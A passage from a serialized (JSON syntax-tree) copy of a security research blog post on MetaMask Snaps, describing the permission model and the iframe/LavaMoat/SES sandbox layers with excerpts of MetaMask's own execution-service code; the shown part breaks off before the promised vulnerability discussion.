issue.",{"type":22,"tag":4139,"props":36713,"children":36714},{},[36715],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":36717},[36718,36721,36727,36731,36732],{"id":30329,"depth":1545,"text":30332,"children":36719},[36720],{"id":4211,"depth":1560,"text":4214},{"id":32522,"depth":1545,"text":32552,"children":36722},[36723,36724,36725,36726],{"id":32571,"depth":1560,"text":32574},{"id":32636,"depth":1560,"text":32639},{"id":35466,"depth":1560,"text":35469},{"id":35755,"depth":1560,"text":35758},{"id":36100,"depth":1545,"text":36103,"children":36728},[36729,36730],{"id":36122,"depth":1560,"text":36125},{"id":36172,"depth":1560,"text":36175},{"id":36256,"depth":1545,"text":36262},{"id":36703,"depth":1545,"text":36706},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":36737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36738,"description":36739,"author":36740,"image":36741,"date":36743,"isFeatured":17,"onBlogPage":17,"body":36744,"_type":4157,"_id":41759,"_source":4159,"_file":41760,"_stem":41761,"_extension":4162},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[32516,32515],{"src":36742,"height":14921,"width":14922},"/posts/metamask-snaps/header.png","2023-11-01",{"type":19,"children":36745,"toc":41740},[36746,36750,36755,36760,36765,36771,36776,36782,36795,36800,36805,36812,36844,36850,36855,36873,36880,36886,36900,36906,36926,37190,37218,37224,37243,37629,37648,37661,37979,38000,38271,38276,38282,38287,38300,38305,38318,38576,38620,38633,38639,38653,38659,38665,38678,38715,38721,38741,38852,38879,38885,38903,38916,38922,38927,38945,39056,39061,39082,39095,39112,39212,39238,39255,39377,39403,39415,39420,39426,39432,39437,39460,39465,39470,39476,39482,39509,39912,39939,39966,39972,40003,40312,40331,40336,40361,40374,40380,40407,40702,40738,40756,40761,40796,40801,40805,40810,40817,40822,40849,41626,41646,41652,41673,41722,41726,41731,41736],{"type":22,"tag":169,"props":36747,"children":36748},{"id":20261},[36749],{"type":27,"value":20264},{"type":22,"tag":23,"props":36751,"children":36752},{},[36753],{"type":27,"value":36754},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":22,"tag":23,"props":36756,"children":36757},{},[36758],{"type":27,"value":36759},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":22,"tag":23,"props":36761,"children":36762},{},[36763],{"type":27,"value":36764},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":22,"tag":169,"props":36766,"children":36768},{"id":36767},"sandbox-security",[36769],{"type":27,"value":36770},"Sandbox Security",{"type":22,"tag":23,"props":36772,"children":36773},{},[36774],{"type":27,"value":36775},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":22,"tag":181,"props":36777,"children":36779},{"id":36778},"permission-based-security",[36780],{"type":27,"value":36781},"Permission-based security",{"type":22,"tag":23,"props":36783,"children":36784},{},[36785,36787,36793],{"type":27,"value":36786},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":22,"tag":257,"props":36788,"children":36790},{"className":36789},[],[36791],{"type":27,"value":36792},"snap.manifest.json",{"type":27,"value":36794}," file and can be critical to security.",{"type":22,"tag":23,"props":36796,"children":36797},{},[36798],{"type":27,"value":36799},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":22,"tag":23,"props":36801,"children":36802},{},[36803],{"type":27,"value":36804},"Here are the critical permissions possible to be given to a snap:",{"type":22,"tag":23,"props":36806,"children":36807},{},[36808],{"type":22,"tag":215,"props":36809,"children":36811},{"alt":7,"src":36810},"/posts/metamask-snaps/permissions.png",[],{"type":22,"tag":17988,"props":36813,"children":36814},{},[36815,36833],{"type":22,"tag":1871,"props":36816,"children":36817},{},[36818,36824,36825,36831],{"type":22,"tag":257,"props":36819,"children":36821},{"className":36820},[],[36822],{"type":27,"value":36823},"snap_getBip44Entropy",{"type":27,"value":12290},{"type":22,"tag":257,"props":36826,"children":36828},{"className":36827},[],[36829],{"type":27,"value":36830},"snap_getBip32Entropy",{"type":27,"value":36832}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":22,"tag":1871,"props":36834,"children":36835},{},[36836,36842],{"type":22,"tag":257,"props":36837,"children":36839},{"className":36838},[],[36840],{"type":27,"value":36841},"endowment:transaction-insight",{"type":27,"value":36843}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":22,"tag":181,"props":36845,"children":36847},{"id":36846},"snap-execution-environment",[36848],{"type":27,"value":36849},"Snap execution environment",{"type":22,"tag":23,"props":36851,"children":36852},{},[36853],{"type":27,"value":36854},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":22,"tag":1867,"props":36856,"children":36857},{},[36858,36863,36868],{"type":22,"tag":1871,"props":36859,"children":36860},{},[36861],{"type":27,"value":36862},"An isolated iframe",{"type":22,"tag":1871,"props":36864,"children":36865},{},[36866],{"type":27,"value":36867},"LavaMoat",{"type":22,"tag":1871,"props":36869,"children":36870},{},[36871],{"type":27,"value":36872},"SES (Secure EcmaScript)",{"type":22,"tag":23,"props":36874,"children":36875},{},[36876],{"type":22,"tag":215,"props":36877,"children":36879},{"alt":7,"src":36878},"/posts/metamask-snaps/environment.png",[],{"type":22,"tag":181,"props":36881,"children":36883},{"id":36882},"isolated-iframe-layer-1",[36884],{"type":27,"value":36885},"Isolated Iframe - Layer 1",{"type":22,"tag":23,"props":36887,"children":36888},{},[36889,36891,36898],{"type":27,"value":36890},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":22,"tag":69,"props":36892,"children":36895},{"href":36893,"rel":36894},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[73],[36896],{"type":27,"value":36897},"Iframe",{"type":27,"value":36899}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":22,"tag":20197,"props":36901,"children":36903},{"id":36902},"the-framework-metamask-extension-repo",[36904],{"type":27,"value":36905},"The Framework: Metamask-Extension Repo",{"type":22,"tag":23,"props":36907,"children":36908},{},[36909,36911,36917,36919,36925],{"type":27,"value":36910},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":22,"tag":257,"props":36912,"children":36914},{"className":36913},[],[36915],{"type":27,"value":36916},"metamask-controller.js",{"type":27,"value":36918}," file. Here's a glimpse of the relevant ",{"type":22,"tag":69,"props":36920,"children":36923},{"href":36921,"rel":36922},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[73],[36924],{"type":27,"value":257},{"type":27,"value":5785},{"type":22,"tag":618,"props":36927,"children":36931},{"className":36928,"code":36929,"language":36930,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[36932],{"type":22,"tag":257,"props":36933,"children":36934},{"__ignoreMap":7},[36935,36943,36951,36971,37019,37054,37071,37079,37121,37128,37135,37143,37171,37183],{"type":22,"tag":264,"props":36936,"children":36937},{"class":1534,"line":1535},[36938],{"type":22,"tag":264,"props":36939,"children":36940},{"style":4284},[36941],{"type":27,"value":36942},"// Import snaps-controllers\n",{"type":22,"tag":264,"props":36944,"children":36945},{"class":1534,"line":1545},[36946],{"type":22,"tag":264,"props":36947,"children":36948},{"style":4284},[36949],{"type":27,"value":36950},"// ...\n",{"type":22,"tag":264,"props":36952,"children":36953},{"class":1534,"line":1560},[36954,36958,36963,36967],{"type":22,"tag":264,"props":36955,"children":36956},{"style":4293},[36957],{"type":27,"value":10953},{"type":22,"tag":264,"props":36959,"children":36960},{"style":1549},[36961],{"type":27,"value":36962}," snapExecutionServiceArgs",{"type":22,"tag":264,"props":36964,"children":36965},{"style":4309},[36966],{"type":27,"value":4312},{"type":22,"tag":264,"props":36968,"children":36969},{"style":1539},[36970],{"type":27,"value":4594},{"type":22,"tag":264,"props":36972,"children":36973},{"class":1534,"line":1569},[36974,36979,36983,36988,36992,36997,37001,37006,37010,37015],{"type":22,"tag":264,"props":36975,"children":36976},{"style":1549},[36977],{"type":27,"value":36978},"  iframeUrl:",{"type":22,"tag":264,"props":36980,"children":36981},{"style":4293},[36982],{"type":27,"value":33248},{"type":22,"tag":264,"props":36984,"children":36985},{"style":4401},[36986],{"type":27,"value":36987}," URL",{"type":22,"tag":264,"props":36989,"children":36990},{"style":1539},[36991],{"type":27,"value":2660},{"type":22,"tag":264,"props":36993,"children":36994},{"style":1549},[36995],{"type":27,"value":36996},"process",{"type":22,"tag":264,"props":36998,"children":36999},{"style":1539},[37000],{"type":27,"value":210},{"type":22,"tag":264,"props":37002,"children":37003},{"style":1549},[37004],{"type":27,"value":37005},"env",{"type":22,"tag":264,"props":37007,"children":37008},{"style":1539},[37009],{"type":27,"value":210},{"type":22,"tag":264,"props":37011,"children":37012},{"style":1549},[37013],{"type":27,"value":37014},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":22,"tag":264,"props":37016,"children":37017},{"style":1539},[37018],{"type":27,"value":8029},{"type":22,"tag":264,"props":37020,"children":37021},{"class":1534,"line":1583},[37022,37027,37032,37036,37041,37045,37050],{"type":22,"tag":264,"props":37023,"children":37024},{"style":1549},[37025],{"type":27,"value":37026},"  messenger:",{"type":22,"tag":264,"props":37028,"children":37029},{"style":4293},[37030],{"type":27,"value":37031}," this",{"type":22,"tag":264,"props":37033,"children":37034},{"style":1539},[37035],{"type":27,"value":210},{"type":22,"tag":264,"props":37037,"children":37038},{"style":1549},[37039],{"type":27,"value":37040},"controllerMessenger",{"type":22,"tag":264,"props":37042,"children":37043},{"style":1539},[37044],{"type":27,"value":210},{"type":22,"tag":264,"props":37046,"children":37047},{"style":4401},[37048],{"type":27,"value":37049},"getRestricted",{"type":22,"tag":264,"props":37051,"children":37052},{"style":1539},[37053],{"type":27,"value":16440},{"type":22,"tag":264,"props":37055,"children":37056},{"class":1534,"line":1603},[37057,37062,37067],{"type":22,"tag":264,"props":37058,"children":37059},{"style":1549},[37060],{"type":27,"value":37061},"    name:",{"type":22,"tag":264,"props":37063,"children":37064},{"style":1597},[37065],{"type":27,"value":37066}," 'ExecutionService'",{"type":22,"tag":264,"props":37068,"children":37069},{"style":1539},[37070],{"type":27,"value":4812},{"type":22,"tag":264,"props":37072,"children":37073},{"class":1534,"line":1612},[37074],{"type":22,"tag":264,"props":37075,"children":37076},{"style":1539},[37077],{"type":27,"value":37078},"  }),\n",{"type":22,"tag":264,"props":37080,"children":37081},{"class":1534,"line":1621},[37082,37087,37091,37095,37100,37104,37109,37113,37117],{"type":22,"tag":264,"props":37083,"children":37084},{"style":1549},[37085],{"type":27,"value":37086},"  setupSnapProvider:",{"type":22,"tag":264,"props":37088,"children":37089},{"style":4293},[37090],{"type":27,"value":37031},{"type":22,"tag":264,"props":37092,"children":37093},{"style":1539},[37094],{"type":27,"value":210},{"type":22,"tag":264,"props":37096,"children":37097},{"style":1549},[37098],{"type":27,"value":37099},"setupSnapProvider",{"type":22,"tag":264,"props":37101,"children":37102},{"style":1539},[37103],{"type":27,"value":210},{"type":22,"tag":264,"props":37105,"children":37106},{"style":4401},[37107],{"type":27,"value":37108},"bind",{"type":22,"tag":264,"props":37110,"children":37111},{"style":1539},[37112],{"type":27,"value":2660},{"type":22,"tag":264,"props":37114,"children":37115},{"style":4293},[37116],{"type":27,"value":18996},{"type":22,"tag":264,"props":37118,"children":37119},{"style":1539},[37120],{"type":27,"value":8029},{"type":22,"tag":264,"props":37122,"children":37123},{"class":1534,"line":1629},[37124],{"type":22,"tag":264,"props":37125,"children":37126},{"style":1539},[37127],{"type":27,"value":17878},{"type":22,"tag":264,"props":37129,"children":37130},{"class":1534,"line":1642},[37131],{"type":22,"tag":264,"props":37132,"children":37133},{"emptyLinePlaceholder":17},[37134],{"type":27,"value":4986},{"type":22,"tag":264,"props":37136,"children":37137},{"class":1534,"line":1660},[37138],{"type":22,"tag":264,"props":37139,"children":37140},{"style":4284},[37141],{"type":27,"value":37142},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":22,"tag":264,"props":37144,"children":37145},{"class":1534,"line":1668},[37146,37150,37154,37158,37162,37166],{"type":22,"tag":264,"props":37147,"children":37148},{"style":1549},[37149],{"type":27,"value":36996},{"type":22,"tag":264,"props":37151,"children":37152},{"style":1539},[37153],{"type":27,"value":210},{"type":22,"tag":264,"props":37155,"children":37156},{"style":1549},[37157],{"type":27,"value":37005},{"type":22,"tag":264,"props":37159,"children":37160},{"style":1539},[37161],{"type":27,"value":210},{"type":22,"tag":264,"props":37163,"children":37164},{"style":1549},[37165],{"type":27,"value":37014},{"type":22,"tag":264,"props":37167,"children":37168},{"style":4309},[37169],{"type":27,"value":37170}," =\n",{"type":22,"tag":264,"props":37172,"children":37173},{"class":1534,"line":1677},[37174,37179],{"type":22,"tag":264,"props":37175,"children":37176},{"style":1597},[37177],{"type":27,"value":37178},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":22,"tag":264,"props":37180,"children":37181},{"style":1539},[37182],{"type":27,"value":4322},{"type":22,"tag":264,"props":37184,"children":37185},{"class":1534,"line":1686},[37186],{"type":22,"tag":264,"props":37187,"children":37188},{"style":4284},[37189],{"type":27,"value":36950},{"type":22,"tag":23,"props":37191,"children":37192},{},[37193,37195,37201,37203,37209,37211,37216],{"type":27,"value":37194},"This code is defining the ",{"type":22,"tag":257,"props":37196,"children":37198},{"className":37197},[],[37199],{"type":27,"value":37200},"snapExecutionServiceArgs",{"type":27,"value":37202}," object, which contains information required for the ",{"type":22,"tag":257,"props":37204,"children":37206},{"className":37205},[],[37207],{"type":27,"value":37208},"IframeExecutionService",{"type":27,"value":37210}," to execute snaps. The ",{"type":22,"tag":257,"props":37212,"children":37214},{"className":37213},[],[37215],{"type":27,"value":37014},{"type":27,"value":37217}," points to the location where the execution environment resides.",{"type":22,"tag":20197,"props":37219,"children":37221},{"id":37220},"executing-snaps-iframeexecutionservice-in-action",[37222],{"type":27,"value":37223},"Executing Snaps: IframeExecutionService in Action",{"type":22,"tag":23,"props":37225,"children":37226},{},[37227,37229,37234,37236,37242],{"type":27,"value":37228},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":22,"tag":257,"props":37230,"children":37232},{"className":37231},[],[37233],{"type":27,"value":37208},{"type":27,"value":37235}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":22,"tag":69,"props":37237,"children":37240},{"href":37238,"rel":37239},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[73],[37241],{"type":27,"value":257},{"type":27,"value":5785},{"type":22,"tag":618,"props":37244,"children":37248},{"className":37245,"code":37246,"language":37247,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[37249],{"type":22,"tag":257,"props":37250,"children":37251},{"__ignoreMap":7},[37252,37260,37289,37319,37372,37409,37416,37423,37431,37438,37445,37453,37488,37496,37552,37614,37622],{"type":22,"tag":264,"props":37253,"children":37254},{"class":1534,"line":1535},[37255],{"type":22,"tag":264,"props":37256,"children":37257},{"style":4284},[37258],{"type":27,"value":37259},"// Register message handlers for snap interactions\n",{"type":22,"tag":264,"props":37261,"children":37262},{"class":1534,"line":1545},[37263,37267,37271,37276,37280,37285],{"type":22,"tag":264,"props":37264,"children":37265},{"style":4293},[37266],{"type":27,"value":18996},{"type":22,"tag":264,"props":37268,"children":37269},{"style":1539},[37270],{"type":27,"value":210},{"type":22,"tag":264,"props":37272,"children":37273},{"style":1549},[37274],{"type":27,"value":37275},"#messenger",{"type":22,"tag":264,"props":37277,"children":37278},{"style":1539},[37279],{"type":27,"value":210},{"type":22,"tag":264,"props":37281,"children":37282},{"style":4401},[37283],{"type":27,"value":37284},"registerActionHandler",{"type":22,"tag":264,"props":37286,"children":37287},{"style":1539},[37288],{"type":27,"value":4767},{"type":22,"tag":264,"props":37290,"children":37291},{"class":1534,"line":1560},[37292,37297,37301,37306,37310,37315],{"type":22,"tag":264,"props":37293,"children":37294},{"style":1597},[37295],{"type":27,"value":37296},"  `",{"type":22,"tag":264,"props":37298,"children":37299},{"style":4293},[37300],{"type":27,"value":35423},{"type":22,"tag":264,"props":37302,"children":37303},{"style":1549},[37304],{"type":27,"value":37305},"controllerName",{"type":22,"tag":264,"props":37307,"children":37308},{"style":4293},[37309],{"type":27,"value":35455},{"type":22,"tag":264,"props":37311,"children":37312},{"style":1597},[37313],{"type":27,"value":37314},":handleRpcRequest`",{"type":22,"tag":264,"props":37316,"children":37317},{"style":1539},[37318],{"type":27,"value":4812},{"type":22,"tag":264,"props":37320,"children":37321},{"class":1534,"line":1569},[37322,37327,37331,37336,37340,37345,37349,37354,37358,37363,37367],{"type":22,"tag":264,"props":37323,"children":37324},{"style":4293},[37325],{"type":27,"value":37326},"  async",{"type":22,"tag":264,"props":37328,"children":37329},{"style":1539},[37330],{"type":27,"value":4370},{"type":22,"tag":264,"props":37332,"children":37333},{"style":1549},[37334],{"type":27,"value":37335},"snapId",{"type":22,"tag":264,"props":37337,"children":37338},{"style":4309},[37339],{"type":27,"value":5785},{"type":22,"tag":264,"props":37341,"children":37342},{"style":4722},[37343],{"type":27,"value":37344}," string",{"type":22,"tag":264,"props":37346,"children":37347},{"style":1539},[37348],{"type":27,"value":4380},{"type":22,"tag":264,"props":37350,"children":37351},{"style":1549},[37352],{"type":27,"value":37353},"options",{"type":22,"tag":264,"props":37355,"children":37356},{"style":4309},[37357],{"type":27,"value":5785},{"type":22,"tag":264,"props":37359,"children":37360},{"style":4722},[37361],{"type":27,"value":37362}," SnapRpcHookArgs",{"type":22,"tag":264,"props":37364,"children":37365},{"style":1539},[37366],{"type":27,"value":4390},{"type":22,"tag":264,"props":37368,"children":37369},{"style":4293},[37370],{"type":27,"value":37371},"=>\n",{"type":22,"tag":264,"props":37373,"children":37374},{"class":1534,"line":1583},[37375,37380,37384,37389,37393,37397,37401,37405],{"type":22,"tag":264,"props":37376,"children":37377},{"style":4293},[37378],{"type":27,"value":37379},"    this",{"type":22,"tag":264,"props":37381,"children":37382},{"style":1539},[37383],{"type":27,"value":210},{"type":22,"tag":264,"props":37385,"children":37386},{"style":4401},[37387],{"type":27,"value":37388},"handleRpcRequest",{"type":22,"tag":264,"props":37390,"children":37391},{"style":1539},[37392],{"type":27,"value":2660},{"type":22,"tag":264,"props":37394,"children":37395},{"style":1549},[37396],{"type":27,"value":37335},{"type":22,"tag":264,"props":37398,"children":37399},{"style":1539},[37400],{"type":27,"value":4380},{"type":22,"tag":264,"props":37402,"children":37403},{"style":1549},[37404],{"type":27,"value":37353},{"type":22,"tag":264,"props":37406,"children":37407},{"style":1539},[37408],{"type":27,"value":8029},{"type":22,"tag":264,"props":37410,"children":37411},{"class":1534,"line":1603},[37412],{"type":22,"tag":264,"props":37413,"children":37414},{"style":1539},[37415],{"type":27,"value":5142},{"type":22,"tag":264,"props":37417,"children":37418},{"class":1534,"line":1612},[37419],{"type":22,"tag":264,"props":37420,"children":37421},{"emptyLinePlaceholder":17},[37422],{"type":27,"value":4986},{"type":22,"tag":264,"props":37424,"children":37425},{"class":1534,"line":1621},[37426],{"type":22,"tag":264,"props":37427,"children":37428},{"style":4284},[37429],{"type":27,"value":37430},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":22,"tag":264,"props":37432,"children":37433},{"class":1534,"line":1629},[37434],{"type":22,"tag":264,"props":37435,"children":37436},{"style":4284},[37437],{"type":27,"value":36950},{"type":22,"tag":264,"props":37439,"children":37440},{"class":1534,"line":1642},[37441],{"type":22,"tag":264,"props":37442,"children":37443},{"emptyLinePlaceholder":17},[37444],{"type":27,"value":4986},{"type":22,"tag":264,"props":37446,"children":37447},{"class":1534,"line":1660},[37448],{"type":22,"tag":264,"props":37449,"children":37450},{"style":4284},[37451],{"type":27,"value":37452},"// Execute a snap\n",{"type":22,"tag":264,"props":37454,"children":37455},{"class":1534,"line":1668},[37456,37461,37466,37470,37475,37479,37484],{"type":22,"tag":264,"props":37457,"children":37458},{"style":1549},[37459],{"type":27,"value":37460},"async",{"type":22,"tag":264,"props":37462,"children":37463},{"style":4401},[37464],{"type":27,"value":37465}," executeSnap",{"type":22,"tag":264,"props":37467,"children":37468},{"style":1539},[37469],{"type":27,"value":2660},{"type":22,"tag":264,"props":37471,"children":37472},{"style":1549},[37473],{"type":27,"value":37474},"snapData",{"type":22,"tag":264,"props":37476,"children":37477},{"style":1539},[37478],{"type":27,"value":1594},{"type":22,"tag":264,"props":37480,"children":37481},{"style":1549},[37482],{"type":27,"value":37483},"SnapExecutionData",{"type":22,"tag":264,"props":37485,"children":37486},{"style":1539},[37487],{"type":27,"value":16103},{"type":22,"tag":264,"props":37489,"children":37490},{"class":1534,"line":1677},[37491],{"type":22,"tag":264,"props":37492,"children":37493},{"style":4284},[37494],{"type":27,"value":37495},"  // Initialize job, streams, and environment\n",{"type":22,"tag":264,"props":37497,"children":37498},{"class":1534,"line":1686},[37499,37504,37508,37513,37518,37522,37527,37531,37535,37540,37544,37548],{"type":22,"tag":264,"props":37500,"children":37501},{"style":4293},[37502],{"type":27,"value":37503},"  const",{"type":22,"tag":264,"props":37505,"children":37506},{"style":1539},[37507],{"type":27,"value":10884},{"type":22,"tag":264,"props":37509,"children":37510},{"style":1549},[37511],{"type":27,"value":37512},"jobId",{"type":22,"tag":264,"props":37514,"children":37515},{"style":1539},[37516],{"type":27,"value":37517}," } ",{"type":22,"tag":264,"props":37519,"children":37520},{"style":4309},[37521],{"type":27,"value":429},{"type":22,"tag":264,"props":37523,"children":37524},{"style":4328},[37525],{"type":27,"value":37526}," await",{"type":22,"tag":264,"props":37528,"children":37529},{"style":4293},[37530],{"type":27,"value":37031},{"type":22,"tag":264,"props":37532,"children":37533},{"style":1539},[37534],{"type":27,"value":210},{"type":22,"tag":264,"props":37536,"children":37537},{"style":4401},[37538],{"type":27,"value":37539},"initJob",{"type":22,"tag":264,"props":37541,"children":37542},{"style":1539},[37543],{"type":27,"value":2660},{"type":22,"tag":264,"props":37545,"children":37546},{"style":1549},[37547],{"type":27,"value":37474},{"type":22,"tag":264,"props":37549,"children":37550},{"style":1539},[37551],{"type":27,"value":5142},{"type":22,"tag":264,"props":37553,"children":37554},{"class":1534,"line":4948},[37555,37559,37563,37568,37572,37577,37581,37585,37589,37593,37597,37602,37606,37610],{"type":22,"tag":264,"props":37556,"children":37557},{"style":4293},[37558],{"type":27,"value":37503},{"type":22,"tag":264,"props":37560,"children":37561},{"style":1539},[37562],{"type":27,"value":10884},{"type":22,"tag":264,"props":37564,"children":37565},{"style":1549},[37566],{"type":27,"value":37567},"worker",{"type":22,"tag":264,"props":37569,"children":37570},{"style":1539},[37571],{"type":27,"value":4380},{"type":22,"tag":264,"props":37573,"children":37574},{"style":1549},[37575],{"type":27,"value":37576},"stream",{"type":22,"tag":264,"props":37578,"children":37579},{"style":1539},[37580],{"type":27,"value":37517},{"type":22,"tag":264,"props":37582,"children":37583},{"style":4309},[37584],{"type":27,"value":429},{"type":22,"tag":264,"props":37586,"children":37587},{"style":4328},[37588],{"type":27,"value":37526},{"type":22,"tag":264,"props":37590,"children":37591},{"style":4293},[37592],{"type":27,"value":37031},{"type":22,"tag":264,"props":37594,"children":37595},{"style":1539},[37596],{"type":27,"value":210},{"type":22,"tag":264,"props":37598,"children":37599},{"style":4401},[37600],{"type":27,"value":37601},"initEnvStream",{"type":22,"tag":264,"props":37603,"children":37604},{"style":1539},[37605],{"type":27,"value":2660},{"type":22,"tag":264,"props":37607,"children":37608},{"style":1549},[37609],{"type":27,"value":37512},{"type":22,"tag":264,"props":37611,"children":37612},{"style":1539},[37613],{"type":27,"value":5142},{"type":22,"tag":264,"props":37615,"children":37616},{"class":1534,"line":4957},[37617],{"type":22,"tag":264,"props":37618,"children":37619},{"style":4284},[37620],{"type":27,"value":37621},"  // ...\n",{"type":22,"tag":264,"props":37623,"children":37624},{"class":1534,"line":4980},[37625],{"type":22,"tag":264,"props":37626,"children":37627},{"style":1539},[37628],{"type":27,"value":1692},{"type":22,"tag":23,"props":37630,"children":37631},{},[37632,37633,37638,37640,37646],{"type":27,"value":17914},{"type":22,"tag":257,"props":37634,"children":37636},{"className":37635},[],[37637],{"type":27,"value":37208},{"type":27,"value":37639}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":22,"tag":257,"props":37641,"children":37643},{"className":37642},[],[37644],{"type":27,"value":37645},"${controllerName}:executeSnap",{"type":27,"value":37647}," handler triggers the snap execution process.",{"type":22,"tag":20197,"props":37649,"children":37651},{"id":37650},"step-by-step-execution-from-initialization-to-iframe-creation",[37652,37654],{"type":27,"value":37653},"Step-by-Step Execution: From Initialization to iFrame ",{"type":22,"tag":69,"props":37655,"children":37658},{"href":37656,"rel":37657},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[73],[37659],{"type":27,"value":37660},"creation",{"type":22,"tag":618,"props":37662,"children":37664},{"className":37245,"code":37663,"language":37247,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[37665],{"type":22,"tag":257,"props":37666,"children":37667},{"__ignoreMap":7},[37668,37717,37738,37759,37767,37831,37838,37866,37883,37900,37917,37934,37941,37948,37972],{"type":22,"tag":264,"props":37669,"children":37670},{"class":1534,"line":1535},[37671,37676,37681,37686,37690,37694,37698,37702,37707,37712],{"type":22,"tag":264,"props":37672,"children":37673},{"style":1549},[37674],{"type":27,"value":37675},"protected",{"type":22,"tag":264,"props":37677,"children":37678},{"style":1549},[37679],{"type":27,"value":37680}," async",{"type":22,"tag":264,"props":37682,"children":37683},{"style":4401},[37684],{"type":27,"value":37685}," initEnvStream",{"type":22,"tag":264,"props":37687,"children":37688},{"style":1539},[37689],{"type":27,"value":2660},{"type":22,"tag":264,"props":37691,"children":37692},{"style":1549},[37693],{"type":27,"value":37512},{"type":22,"tag":264,"props":37695,"children":37696},{"style":1539},[37697],{"type":27,"value":1594},{"type":22,"tag":264,"props":37699,"children":37700},{"style":1549},[37701],{"type":27,"value":30980},{"type":22,"tag":264,"props":37703,"children":37704},{"style":1539},[37705],{"type":27,"value":37706},"): ",{"type":22,"tag":264,"props":37708,"children":37709},{"style":4722},[37710],{"type":27,"value":37711},"Promise",{"type":22,"tag":264,"props":37713,"children":37714},{"style":1539},[37715],{"type":27,"value":37716},"\u003C{\n",{"type":22,"tag":264,"props":37718,"children":37719},{"class":1534,"line":1545},[37720,37725,37729,37734],{"type":22,"tag":264,"props":37721,"children":37722},{"style":1549},[37723],{"type":27,"value":37724},"    worker",{"type":22,"tag":264,"props":37726,"children":37727},{"style":4309},[37728],{"type":27,"value":5785},{"type":22,"tag":264,"props":37730,"children":37731},{"style":4722},[37732],{"type":27,"value":37733}," Window",{"type":22,"tag":264,"props":37735,"children":37736},{"style":1539},[37737],{"type":27,"value":4322},{"type":22,"tag":264,"props":37739,"children":37740},{"class":1534,"line":1560},[37741,37746,37750,37755],{"type":22,"tag":264,"props":37742,"children":37743},{"style":1549},[37744],{"type":27,"value":37745},"    stream",{"type":22,"tag":264,"props":37747,"children":37748},{"style":4309},[37749],{"type":27,"value":5785},{"type":22,"tag":264,"props":37751,"children":37752},{"style":4722},[37753],{"type":27,"value":37754}," BasePostMessageStream",{"type":22,"tag":264,"props":37756,"children":37757},{"style":1539},[37758],{"type":27,"value":4322},{"type":22,"tag":264,"props":37760,"children":37761},{"class":1534,"line":1569},[37762],{"type":22,"tag":264,"props":37763,"children":37764},{"style":1539},[37765],{"type":27,"value":37766},"  }> 